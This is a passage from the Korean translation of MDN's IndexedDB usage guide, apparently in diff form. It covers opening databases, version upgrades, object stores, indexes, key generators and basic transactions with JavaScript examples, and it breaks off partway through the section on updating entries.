+<p>open 요청은 데이터베이스를 즉시 열거나 즉시 트랜잭션을 시작하지 않습니다.  <code>open()</code> 함수를 호출하면 이벤트로 처리한 결과(성공 상태)나 오류 값이 있는 <a href="/ko/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> 객체를 반환합니다. IndexedDB의 다른 비동기 함수 대부분은 결과 또는 오류가 있는 <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="color: rgb(51, 51, 51); font-size: 14px;">IDBRequest</code></a> 객체를 반환합니다. <code>open()</code> 함수의 결과는 <code style="color: rgb(51, 51, 51); font-size: 14px;"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a></code> 의 인스턴스입니다.</p>
+
+<p>open 메소드의 두번째 매개 변수는 데이터베이스의 버전입니다. 데이터베이스의 버전은 데이터베이스 스키마를 결정합니다. 데이터베이스 스키마는 데이터베이스 안의 객체 저장소와 그것들의 구조를 결정합니다. 데이터베이스가 아직 존재하지 않으면, open operation에 의해 생성되고, 그 다음 <code>onupgradeneeded</code>  이벤트가 트리거되고 이 이벤트 안에서 데이터베이스 스키마를 작성합니다. 데이터베이스가 존재하지만 업그레이드 된 버전 번호를 지정하는 경우 <code>onupgradeneeded</code> 이벤트가 트리거되고 해당 핸들러에 업데이트된 스키마를 제공할 수 있습니다. 자세한 내용은 나중에 아래의 <a href="#데이터베이스의_버전_생성_또는_업데이트">데이터베이스의 버전 업데이트</a>와 {{ domxref("IDBFactory.open") }} 페이지를 참조하십시오. </p>
+
+<div class="warning">
+<p><strong>중요</strong>: 버전 번호는 <code>unsigned long long</code> 숫자입니다. 이는 버전 번호는 매우 큰 정수가 되어야한다는 의미입니다. 또한 부동 소수점을 사용할 수 없다는 것을 의미합니다. 그렇지 않으면 가장 가까운 정수로 변환되어 트랜잭션이 시작되지 않거나 <code>upgradeneeded</code> 이벤트가 트리거 되지 않습니다. 예를 들어, 2.4와 같은 버전 번호를 사용하지 마십시오:<br>
+ <code>var request = indexedDB.open("MyTestDatabase", 2.4); // don't do this, as the version will be rounded to 2</code></p>
+</div>
+
+<h4 id="제어_객체_생성">제어 객체 생성</h4>
+
+<p>첫번째로 당신이 하려는 모든 요청에 대해 성공했을 때 그리고 에러가 발생했을 때 제어를 할 객체를 요청해야 됩니다:</p>
+
+<pre class="brush: js notranslate">request.onerror = function(event) {
+ // request.errorCode 에 대해 무언가를 한다!
+};
+request.onsuccess = function(event) {
+ // request.result 에 대해 무언가를 한다!
+};</pre>
+
+<p><code>onsuccess()</code> 또는 <code>onerror()</code> 두 함수 중 어떤 함수가 호출될까요? 모든 것이 성공하면, success 이벤트 (즉, <code>type</code> 속성이<code>"success"</code> 로 설정된 DOM 이벤트)가 <code>request</code>를 <code>target</code>으로 발생합니다. 일단 실행되면, <code>request</code> 의 <code>onsuccess()</code> 함수는 success 이벤트를 인수로 트리거됩니다. 반면, 문제가 있는 경우, 오류 이벤트 (즉 <code>type</code> 속성이<code>"error"</code> 로 설정된 DOM 이벤트)는 <code>request</code>에서 발생합니다. 이 오류 이벤트를 인수로 <code><code>onerror()</code></code> 함수가 트리거됩니다.</p>
+
+<p>The IndexedDB API는 오류 처리의 필요성을 최소화하도록 설계되었기 때문에 많은 오류 이벤트를 볼 수는 없을 것입니다. (적어도 API에 익숙하지 않은 경우). 그러나 데이터베이스를 여는 경우 오류 이벤트를 발생하는 몇 가지 일반적인 조건이 있습니다. 가장 많은 문제는 사용자가 웹 응용 프로그램에 데이터베이스를 만들 수 있는 권한을 주지 않기로 결정한 것입니다. IndexedDB의 주요 설계 목표 중 하나는 많은 양의 데이터를 오프라인에서 사용할 수 있도록 하는 것입니다. (각 브라우저에서 저장할 수 있는 저장 용량에 대한 자세한 내용은 <a href="/ko/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Storage limits</a> 를 참조하십시오.)  </p>
+
+<p>일부 광고 네트워크나 악의적인 웹 사이트가 컴퓨터를 오염시키는 것을 브라우저는 원하지 않기 때문에 브라우저는 특정 웹 응용 프로그램이 처음으로 저장용 IndexedDB를 열려고 할 때 사용자에게 메시지를 보냅니다. 사용자가 액세스를 허용하거나 거부할 수 있습니다. 또한, 개인정보 보호 모드의 브라우저에서 IndexedDB 공간은 시크릿 세션이 닫힐 때까지 메모리 내에서만 지속됩니다. (Firefox의 개인정보 보호 브라우징 모드와 Chrome 의 시크릿 모드가 있지만, Firefox 의 경우 2015년 11월 현재 아직 미구현({{Bug("781982")}} 참조)이므로, 개인정보 보호 브라우징 모드의 Firefox에서는 IndexedDB를 사용할 수 없습니다).</p>
+
+<p>이제, 사용자가 데이터베이스 생성 요청을 허용하여 success 콜백을 트리거하는 success 이벤트를 받았다고 가정합니다; 그 다음은 무엇을 해야할까요? 이 요청은 <code>indexedDB.open()</code>을 호출하여 생성되었고, <code>request.result</code> 는 <code>IDBDatabase</code> 의 인스턴스이므로, 이후에 이것을 사용하기 위해 저장하기 원할 것은 확실합니다. 코드는 다음과 같이 할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+ alert("Why didn't you allow my web app to use IndexedDB?!");
+};
+request.onsuccess = function(event) {
+ db = request.result;
+};
+</pre>
+
+<h4 id="에러_처리">에러 처리</h4>
+
+<p>위에서 언급한 바와 같이, 오류 이벤트는 버블링됩니다. 오류 이벤트는 오류를 생성한 request를 대상으로하며, 이벤트는 트랜잭션으로 버블링되고, 마지막으로 데이터베이스 객체로 버블링됩니다. 모든 요청에 에러 처리를 피하고 싶은 경우, 아래와 같이 하나의 오류 핸들러를 데이터베이스 객체에 추가하여 대신할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">db.onerror = function(event) {
+ // Generic error handler for all errors targeted at this database's
+ // requests!
+ alert("Database error: " + event.target.errorCode);
+};
+</pre>
+
+<p>데이터베이스를 열 때 자주 발생하는 오류 중 하나가 <code>VER_ERR</code>가 있습니다. 이는 디스크에 저장된 데이터베이스의 버전이 현재 코드에서 지정된 버전 번호보다 큼을 나타냅니다. 이 오류는 항상 오류 처리기에서 처리해야합니다.</p>
+
+<h3 id="데이터베이스의_버전_생성_또는_업데이트_2">데이터베이스의 버전 생성 또는 업데이트</h3>
+
+<p><a id="데이터베이스의_버전_생성_또는_업데이트" name="데이터베이스의_버전_생성_또는_업데이트"></a>새로운 데이터베이스를 만들거나 기존 데이터베이스의 버전 번호를 높일 때({{ anch("데이터베이스 열기") }}시, 이전 버전보다 높은 버전 번호를 지정하면), <code>onupgradeneeded</code> 가 트리거되고 <code>request.result</code>(즉, 아래의 예제 : <code>db</code>)에 설정된 <code>onversionchange</code> 이벤트 핸들러에 <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBVersionChangeEvent">IDBVersionChangeEvent</a> 객체가 전달됩니다. <code>upgradeneeded</code> 이벤트 처리기에서 이 버전의 데이터베이스에 필요한 객체 저장소를 만들어야합니다:</p>
+
+<pre class="brush: js notranslate"><code>// This event is only implemented in recent browsers
+request.onupgradeneeded = function(event) {
+ // Save the IDBDatabase interface
+ var db = event.target.result;
+
+ // Create an objectStore for this database
+ var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};</code>
+</pre>
+
+<p>이 경우 데이터베이스에는 이전 버전의 데이터베이스에 있는 객체 저장소가 이미 있으므로, 이전 버전의 객체 저장소를 다시 만들 필요가 없습니다. 여러분은 새로운 객체 저장소를 만들거나 더 이상 필요하지 않은 이전 버전의 객체 저장소만 삭제하면 됩니다. 기존 객체 저장소를 변경(예, <code>keyPath</code>를 변경) 해아 하는 경우, 이전 객체 저장소를 삭제하고 새 옵션으로 다시 만들어야합니다. (이것은 객체 저장소의 정보를 삭제하니 주의하십시오! 해당 정보를 보존해야하는 경우 데이터베이스를 업그레이드하기 전에 해당 정보를 읽고 다른 곳에 저장해야 합니다.)</p>
+
+<p>이미 존재하는 이름으로 객체 저장소를 만들려고 하면 (또는 존재하지 않는 객체 저장소를 삭제하려고 하면) 오류가 발생합니다. </p>
+
+<p><code>onupgradeneeded</code> 이벤트가 성공적으로 끝나면, 데이터베이스 열기 요청의 <code>onsuccess</code> 핸들러가 트리거 됩니다. </p>
+
+<p>Chrome 23+ 및 Opera 17+ 의 Blink/Webkit은 현재 버전의 스펙을 지원합니다. IE10+ 마찬가지입니다. 다른 구현체 또는 구형 구현체는 아직 스펙의 현재 버전을 구현하지 않으므로 <code>indexedDB.open(name, version).onupgradeneeded</code> 서명을 지원하지 않습니다. 이전 Webkit/Blink에서 데이터베이스 버전을 업그레이드하는 방법에 대한 자세한 내용은 <a href="/ko/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated" title="https://developer.mozilla.org/en/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated">IDBDatabase reference article</a> 를 참조하십시오.</p>
+
+<h3 id="데이터베이스_구성">데이터베이스 구성</h3>
+
+<p>이제 데이터베이스를 구축합니다. IndexedDB는 테이블이 아닌 객체 저장소를 사용하며 하나의 데이터베이스는 여러 개의 객체 저장소를 포함할 수 있습니다. 값을 객체 저장소에 저장할 때마다 값은 키와 연관됩니다. 객체 저장소가 <a href="/ko/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_keypath" title="https://developer.mozilla.org/en/IndexedDB#gloss_key_path">키 경로</a> 또는 <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_keygenerator" title="en/IndexedDB#gloss key generator">키 생성기</a> 옵션의 사용 여부에 따라 키를 제공할 수 있는 여러 가지 방법이 있습니다.</p>
+
+<p>다음 표는 키가 제공되는 다양한 방법을 보여줍니다:</p>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">키 경로 (<code>keyPath</code>)</th>
+ <th scope="col">키 생성기 (<code>autoIncrement</code>)</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>No</td>
+ <td>No</td>
+ <td>이 객체 저장소는 숫자 및 문자열과 같은 원시 값을 포함한 모든 종류의 값을 보유 할 수 있습니다. 새 값을 추가 할 때 마다 별도의 키 인수를 공급해야합니다.</td>
+ </tr>
+ <tr>
+ <td>Yes</td>
+ <td>No</td>
+ <td>이 객체 저장소는 JavaScript 객체만 포함 할 수 있습니다. 객체에는 키 경로와 같은 이름의 속성이 있어야합니다.</td>
+ </tr>
+ <tr>
+ <td>No</td>
+ <td>Yes</td>
+ <td>이 객체 저장소는 모든 종류의 값을 보유할 수 있습니다. 키가 자동으로 생성됩니다. 또한 특정 키를 사용하려는 경우 별도의 키 인수를 공급할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <td>Yes</td>
+ <td>Yes</td>
+ <td>이 객체 저장소는 JavaScript 객체만 포함 할 수 있습니다. 일반적으로 키가 자동으로 생성되고 생성된 키의 값은 키 경로와 동일한 이름을 가진 속성의 객체에 저장됩니다. 그러나 그러한 속성이 이미 존재하는 경우, 새로운 키를 생성하는 것이 아닌 속성의 값을 키로 사용됩니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>객체 저장소가 기본이 아닌 객체를 보유하고 있으면 객체 저장소에서 인덱스를 만들 수 있습니다. 인덱스를 사용하면 객체의 키가 아닌 저장된 객체의 속성 값을 사용하여 객체 저장소에 저장된 값을 검색할 수 있습니다.</p>
+
+<p>또한, 인덱스에는 저장된 데이터에 대한 간단한 제약 조건을 적용 할 수 있는 기능이 있습니다. 인덱스를 작성할 때 고유(unique) 플래그를 설정하면, 인덱스는 인덱스의 키 경로에 대해 동일한 값을 갖는 두 개의 객체가 저장되지 않도록 보장합니다. 따라서 예를 들자면, 사람 집단을 보유하고 있는 객체 저장소가 있고, 두 사람이 동일한 email 주소를 갖지 못 한다는 것을 보장하려는 경우, 이를 강제하기 위해 고유(unique) 플래그 설정한 인덱스를 사용하면 됩니다.</p>
+
+<p>이 부분은 혼란스러울 수도 있으므로 간단한 예제를 들어 설명하겠습니다. 먼저, 다음의 예에서 사용할 고객 데이터를 정의하겠습니다:</p>
+
+<pre class="brush: js notranslate"><code>// This is what our customer data looks like.
+const customerData = [
+ { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+ { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];</code></pre>
+
+<p>물론, 모든 사람이 사회 보장 번호(ssn)를 가지지 않기 때문에 ssn을 기본 키(primary key)로 지정하지 않을겁니다. 그리고 나이를 저장하는 대신 주로 생년월일을 저장하겠지만, 이러한 점은 편의를 위해 무시하고 지나가겠습니다. </p>
+
+<p>이제 자료를 저장하기 위해 indexedDB를 생성하는 과정을 보겠습니다:</p>
+
+<pre class="brush: js notranslate"><code>const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+ // Handle errors.
+};
+request.onupgradeneeded = function(event) {
+ var db = event.target.result;
+
+ // Create an objectStore to hold information about our customers. We're
+ // going to use "ssn" as our key path because it's guaranteed to be
+ // unique - or at least that's what I was told during the kickoff meeting.
+ var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+ // Create an index to search customers by name. We may have duplicates
+ // so we can't use a unique index.
+ objectStore.createIndex("name", "name", { unique: false });
+
+ // Create an index to search customers by email. We want to ensure that
+ // no two customers have the same email, so use a unique index.
+ objectStore.createIndex("email", "email", { unique: true });
+
+ // Use transaction oncomplete to make sure the objectStore creation is
+ // finished before adding data into it.
+ objectStore.transaction.oncomplete = function(event) {
+ // Store values in the newly created objectStore.
+ var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
+ customerData.forEach(function(customer) {
+ customerObjectStore.add(customer);
+ });
+ };
+};</code></pre>
+
+<p>이전에 적었듯이, <code>onupgradeneeded</code> 는 데이터베이스의 구조를 변경할 수 있는 곳에 위치해야합니다. 이 이벤트 안에서 객체 저장소를 만들거나 삭제하고, 인덱스를 만들거나 지울 수 있습니다.</p>
+
+<p>객체 저장소는 <code>createObjectStore()</code>를 한번 호출함으로써 생성됩니다. 이 메소드는 저장소의 이름과 파라미터 객체를 인자로 받습니다. 파라미터 객체는 선택적으로 사용할 수 있지만, 이는 중요한 설정들을 정의하고 만들고자하는 객체 저장소의 타입을 정의하기 때문에 매우 중요합니다. 이번 예시에서, 우리는 객체 저장소의 이름을 "customers"로 짓고 개별 객체들이 유일하게 저장되도록 만들어주는 특성인 <code>keyPath</code>를 정의합니다. 그리고 사회 보장 번호(ssn)는 고유함이 보장되기 때문에, <code>keyPath</code>로 예제의 ssn 프로퍼티를 사용하며 ssn은 <code>objectStore</code> 에 저장되는 모든 객체에 반드시 포함되어야 합니다.<br>
+ 우리는 또한 저장된 객체의 <code>name</code> 프로퍼티를 찾기 위한 인덱스 "name"을 요청합니다.<br>
+ 또한 <code>createObjectStore()</code>, <code>createIndex()</code> 도 생성하려는 인덱스의 종류를 결정하는 선택적인 객체인 <code>options</code> 을 인자로 받습니다. <code>name</code> 프로퍼티가 없는 객체를 추가할 수는 있지만, 이 경우 그 객체는 "name" 인덱스에 나타나지 않습니다.</p>
+
+<p>이제 우리는 저장된 customer 객체를 가져오기 위해 <code>ssn</code> 을 이용하여 객체 저장소로부터 바로 가져오거나, 인덱스에서 그들의 이름을 이용해 가져올 수 있습니다. 이 과정이 어떻게 이루어지는지 배우기 위해, <a href="https://developer.mozilla.org/en/IndexedDB/Using_IndexedDB#Using_an_index" title="Using IndexedDB#Using an index">using an index</a> 섹션을 확인할 수 있습니다.</p>
+
+<h3 id="키_생성기_사용하기">키 생성기 사용하기</h3>
+
+<p>객체 저장소를 생성할 때 <code>autoIncrement</code> 플래그를 설정함으로써 키 생성기를 활성화할 수 있습니다. 기본값으로 이 플래그는 설정되지 않습니다.</p>
+
+<p>키 생성기가 활성화되면, 객체 저장소에 값을 추가할 때 키가 자동으로 추가됩니다. 처음 생성되면 키 생성기의 값은 항상 1로 설정되고, 새로 생성되는 키는 기본적으로 이전 키에서 1을 더한 값이 됩니다. 키 생성기의 값은 트랜잭션이 취소되는 등 데이터베이스 작업이 복구되는게 아닌 한 절대 작아지지 않습니다. 그래서 레코드를 지우거나 객체 저장소의 모든 레코드를 지우더라도 해당 객체 저장소의 키 생성기에는 영향을 끼치지 않습니다.</p>
+
+<p>우리는 아래와 같이 키 생성기와 함께 객체 저장소를 생성할 수 있습니다:</p>
+
+<pre class="brush: js notranslate"><code>// Open the indexedDB.
+var request = indexedDB.open(dbName, 3);
+
+request.onupgradeneeded = function (event) {
+
+ var db = event.target.result;
+
+ // Create another object store called "names" with the autoIncrement flag set as true.
+ var objStore = db.createObjectStore("names", { autoIncrement : true });
+
+ // Because the "names" object store has the key generator, the key for the name value is generated automatically.
+ // The added records would be like:
+ // key : 1 =&gt; value : "Bill"
+ // key : 2 =&gt; value : "Donna"
+ customerData.forEach(function(customer) {
+ objStore.add(customer.name);
+ });
+};</code></pre>
+
+<p>키 생성기와 관련된 보다 많은 정보는 <a href="http://www.w3.org/TR/IndexedDB/#key-generator-concept">"W3C Key Generators"</a> 를 참고해 주십시오.</p>
+
+<h2 id="데이터_추가_검색_및_제거">데이터 추가, 검색 및 제거</h2>
+
+<p>새 데이터베이스에서 작업을 하기전에, 트랜잭션을 시작할 필요가 있습니다. 트랜잭션은 데이터베이스 객체 단위로 작동하므로 트랜잭션을 사용할 객체 저장소를 지정해줘야합니다. 트랜잭션에 들어오고 나면, 자료가 있는 객체 저장소에 접근할 수 있고 요청을 만들 수 있습니다. 다음으로, 데이터베이스에 변경점을 만들지, 혹은 읽기만 할지 결정해야합니다. 트랜잭션은 다음의 3가지 모드가 있습니다: <code>readonly</code>, <code>readwrite</code>, 그리고 <code>versionchange</code>.</p>
+
+<p>객체 저장소나 인덱스를 만들거나 삭제하는 작업을 포함하여 데이터베이스의 "schema"나 구조를 변경하기 위해서 트랜잭션은 반드시 <code>versionchange</code> 여야 합니다. 이 트랜잭션은 {{domxref("IDBFactory.open")}} 메소드를 <code>version</code> 과 함께 호출할 경우 시작됩니다. (최신 사양이 구현되지 않은 WebKit 브라우저에서는 {{domxref("IDBFactory.open")}} 메소드는 데이터베이스의 이름(<code>name</code>) 하나만 인자로 받습니다. 따라서 <code>versionchange</code> 트랜잭션을 수립하기 위해서 {{domxref("IDBVersionChangeRequest.setVersion")}} 를 호출해야 합니다.)</p>
+
+<p>이미 존재하는 객체 저장소의 레코드를 읽기 위해서 트랜잭션은 <code>readonly</code> 혹은 <code>readwrite</code> 모드이면 됩니다. 이미 존재하는 객체 저장소에 변경점을 기록하기 위해서는 트랜잭션이 반드시 <code>readwrite</code> 모드여야합니다. 특정 트랜잭션은 {{domxref("IDBDatabase.transaction")}} 으로 열 수 있습니다. 이 메소드는 접근하고 싶은 객체 저장소들의 배열로 정의된 범위인 <code>storeNames</code>와 트랜잭션의 모드<code>mode</code> (<code>readonly</code> 혹은 <code>readwrite</code>), 2개의 인자를 받습니다. 이 메소드는 객체 저장소에 접근할 수 있는 {{domxref("IDBIndex.objectStore")}} 메소드를 포함한 트랜잭션 객체를 반환합니다. 모드가 지정되지 않는다면 기본적으로 트랜잭션은 <code>readonly</code> 모드로 열립니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}.) Previously in a <code>readwrite</code> transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk. In Firefox 40+ the <code>complete</code> event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The <code>complete</code>event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare most consumers should not need to concern themselves further. If you must ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the <code>complete</code> event by creating a transaction using the experimental (non-standard) <code>readwriteflush</code> mode (see {{domxref("IDBDatabase.transaction")}}.</p>
+</div>
+
+<p>트랜잭션에서 적합한 범위와 모드를 사용함으로써 자료 접근을 빠르게 할 수 있습니다. 여기 두개의 팁이 있습니다:</p>
+
+<ul>
+ <li>범위를 지정할 때, 필요한 객체 저장소만 정하십시오. 이 방식은 겹치지 않는 범위의 트랜잭션들을 동시에 처리할 수 있게 해줍니다.</li>
+ <li><code>readwrite</code> 모드는 필요할때만 사용하십시오. 겹친 범위에 대해 <code>readonly</code> 트랜잭션은 동시에 실행될 수 있지만, <code>readwrite</code> 트랜잭션은 객체 저장소에 오직 한개만 작동할 수 있습니다. 더 자세한 내용은 <a href="/ko/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB">Basic Concepts</a> 글에 있는 <dfn><a href="/ko/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#Database">transactions</a></dfn> 정의를 참고하십시오.</li>
+</ul>
+
+<h3 id="데이터베이스에_데이터_추가">데이터베이스에 데이터 추가</h3>
+
+<p>데이터베이스를 만들었다면, 데이터를 추가하고 싶을겁니다. 데이터 추가는 이렇게 할 수 있습니다:</p>
+
+<pre class="brush:js; notranslate">var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can just write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);</pre>
+
+<p><code>transaction()</code> 함수는 2개(1개는 옵션)의 인자를 받고 트랜잭션 객체를 반환합니다. 첫번째 인자는 트랜잭션이 확장될 객체 저장소의 목록입니다. 모든 객체 저장소에 대해 트랜잭션을 확장하고 싶다면 빈 배열을 넘겨줄 수 있습니다. 두번째 인자로 아무것도 넘기지 않는다면, 읽기 전용 트랜잭션이 반환됩니다. 쓰기 작업을 하고 싶다면, <code>readwrite</code> 플래그를 넘겨줘야 합니다.</p>
+
+<p>계속해서 트랜잭션을 사용하기 위해서는 트랜잭션의 생애 주기에 대해 이해할 필요가 있습니다. 트랜잭션은 이벤트 루프(Event loop)와 매우 밀접하게 연관되어 있습니다. 만일 당신이 트랜잭션을 만들어 놓고 사용하지 않은 채 이벤트 루프로 돌아가게 된다면 트랜잭션은 비활성화 상태가 됩니다. 트랜잭션을 활성화 상태로 유지하는 유일한 방법은 트랜잭션에 그것을 요청하는 것 뿐입니다. 요청이 완료되면 DOM 이벤트가 발생하며, 트랜잭션에 대한 요청이 성공했다는 가정 하에 해당 요청에 대한 콜백(Callback)이 일어나기 전까지 트랜잭션의 수명을 연장할 수 있습니다.  만일 당신이 트랜잭션에 대한 연장 요청 없이 이벤트 루프로 돌아가려 한다면  트랜잭션은 곧 비활성화가 된 후, 계속해서 비활성 상태를 유지할 것입니다. 트랜잭션에 대한 요청이 계속되는 한 트랜잭션은 활성화 상태를 유지합니다. 트랜잭션의 생애 주기는 매우 단순하지만 당신이 이에 적응하는 데에는 다소 시간이 걸릴 수 있습니다. 다른 예제 몇 개를 더 확인하는 것을 권장합니다. 만일 당신의 프로그램에서 <code>TRANSACTION_INACTIVE_ERR</code> 라는 에러 코드가 나타나기 시작한다면, 뭔가 잘못되기 시작한 것입니다.</p>
+
+<p>트랜잭션은 다음 세 개의 DOM 이벤트를 받을 수 있습니다: <code>error</code>, <code>abort</code>, 그리고 <code>complete</code>. 우리는 <code>error</code> 이벤트가 어떻게 버블링되는지에 대해 이미 이야기했으며, 이에 따라서 트랜잭션은 요청으로부터 발생하는 모든 에러 이벤트를 받아들입니다. 여기서 더욱 애매한 점은 에러를 처리하는 가장 기본적인 방식이 에러가 발생한 트랜잭션을 취소하는 것이라는 점입니다. 당신이 우선 <code>stopPropagation()</code>을 이용해 에러를 처리하고 난 후에 다른 행동을 하려고 해도, 전체 트랜잭션은 이미 롤백된 상황일 것입니다. 이러한 디자인은 당신이 에러 처리에 대해서 생각하도록 강제하지만, 만일 잘 정제된 에러 핸들링을 모든 트랜잭션에 만드는 것이 너무 번거롭다면 당신은 데이터베이스에 항상 캐치올 에러 핸들러(catchall error handler)를 추가하도록 설정할 수 있습니다. 당신이 만약 에러를 제어하지 않았거나 트랜잭션에서  <code>abort()</code>를 호출할 경우, 트랜잭션은 롤백되고 <code>abort</code> 이벤트는 취소될 것입니다. 반면, 트랜잭션에 대한 모든 요청이 정상적으로 처리되었을 경우엔 <code>complete</code> 이벤트를 반환합니다. 만일 당신이 매우 많은 데이터베이스 작업을 수행하고 있다면, 데이터베이스에 대한 개별 요청을 추적하는것보단 트랜잭션을 추적하는 것이 정신 건강에 이로울 것입니다.</p>
+
+<p>이제 당신이 트랜잭션을 만들었고, 당신은 그 트랜잭션을 통해 오브젝트 스토어에 접근해야 하는 상황이라고 가정해 봅시다. 트랜잭션은 당신이 트랜잭션을 만들 때 지정한 오브젝트 스토어만 사용할 수 있게 해줍니다. 그러고 나면 당신은 원하는 모든 데이터를 그곳에 추가할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+ alert("All done!");
+};
+
+transaction.onerror = function(event) {
+ // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+ var request = objectStore.add(customerData[i]);
+ request.onsuccess = function(event) {
+ // event.target.result == customerData[i].ssn
+ };
+}</pre>
+
+<p>호출에서 <code>add()</code>까지의 과정에서 생성된 트랜잭션의 <code>result</code>는 추가된 데이터의 키와 같습니다. 따라서 이 경우, 오브젝트 스토어가 <code>ssn</code> 속성을 키 패스로 사용하기 때문에 추가된 데이터의 <code>ssn</code> 속성과 같은 값을 가질 것입니다. <code>add()</code> 함수를 사용할 때 같은 키를 가진 데이터가 데이터베이스 안에 존재하지 않아야 한다는 점에 주의하십시오. 만일 당신이 이미 존재하는 데이터를 수정하고 싶거나, 혹은 이미 데이터가 있건 말건 상관 없다면 문서 아래쪽의 {{ anch("Updating an entry in the database") }} 부분에서 소개하는 <code>put()</code> 함수를 사용하십시오. </p>
+
+<h3 id="데이터베이스로부터_데이터를_지우기">데이터베이스로부터 데이터를 지우기</h3>
+
+<p>데이터 삭제는 아주 익숙한 그 방식대로 하시면 됩니다:</p>
+
+<pre class="brush: js notranslate">var request = db.transaction(["customers"], "readwrite")
+ .objectStore("customers")
+ .delete("444-44-4444");
+request.onsuccess = function(event) {
+ // It's gone!
+};</pre>
+
+<h3 id="데이터베이스로부터_데이터_가져오기">데이터베이스로부터 데이터 가져오기</h3>
+
+<p>이제 데이터베이스 안에 정보도 들어 있겠다, 몇 가지 방법을 통해 정보를 가져와 봅시다. 가장 먼저, 가장 단순한 <code>get()</code>을 사용해 봅시다. 데이터를 가져오기 위해 당신은 키를 제공해야합니다. 이렇게:</p>
+
+<pre class="brush: js notranslate">var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+ // Handle errors!
+};
+request.onsuccess = function(event) {
+ // Do something with the request.result!
+ alert("Name for SSN 444-44-4444 is " + request.result.name);
+};</pre>
+
+<p>"단순히" 가져오는 것 치고는 코드가 좀 많군요. 당신이 데이터베이스 수준에서 에러를 제어하고 있다면, 아래와 같이 간략화할 수도 있습니다:</p>
+
+<pre class="brush: js notranslate">db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+ alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};</pre>
+
+<p>어떻게 작동하는지 보이시나요? 오브젝트 스토어가 하나 뿐이기 때문에, 당신의 트랜잭션에서 필요한 오브젝트 스토어들의 리스트를 보낼 필요 없이 그냥 이름만 String으로 보내면 됩니다. 또한, 당신은 데이터베이스에서 읽기만 했기 때문에,  <code>"readwrite"</code> 트랜잭션은 필요하지 않습니다. <code>transaction()</code>을 특정한 모드 설정 없이 그냥 부를 경우엔 기본적으로 <code>"readonly"</code> 트랜잭션이 됩니다. 또 하나 신비한 점은 당신은 요청한 오브젝트를 따로 특정한 변수에 저장하지 않았다는 점입니다. DOM 이벤트는 요청을 대상으로 할 때 이벤트를 사용하여 <code>result</code>의 값을 불러올 수 있습니다.</p>
+
+<p>범위 제한과 모드 설정에 따라 데이터 접근 속도를 빠르게 할 수 있다는 점을 주목하십시오. 여기 몇개의 팁이 있습니다:</p>
+
+<ul>
+ <li>범위(<a href="https://developer.mozilla.org/ko/docs/IndexedDB/Using_IndexedDB$edit#scope">scope</a>)를 정의할 때, 당신이 필요로 하는 오브젝트 스토어만 지정하십시오. 이렇게 하면, 범위가 중복되지 않는 한 여러 개의 트랜잭션을 동시에 실행할 수 있습니다.</li>
+ <li><code>readwrite</code> 모드는 반드시 필요할 때만 사용하십시오. <code>readonly</code> 모드는 범위가 중복되더라도 동시에 실행 가능하지만, <code>readwrite</code> 모드는 한 오브젝트 스토어에 대해 동시에 하나밖에 실행할 수 없습니다. 더욱 자세한 정보는, 기본 개념서의 트랜잭션의 정의 항목(<a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_transaction">transactions in the Basic Concepts article</a>)을 참조하십시오. </li>
+</ul>
+
+<h3 id="데이터베이스의_내용을_업데이트하기">데이터베이스의 내용을 업데이트하기</h3>
+
+<p>이제 우리는 몇 개의 데이터를 꺼냈습니다. 이 데이터를 업데이트하고 다시 IndexedDB에 집어넣는 것은 매우 간단합니다. 이전 예제를 약간 업데이트해 봅시다:</p>
+
+<pre class="brush: js notranslate"><code>var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
+var request = objectStore.get("444-44-4444");
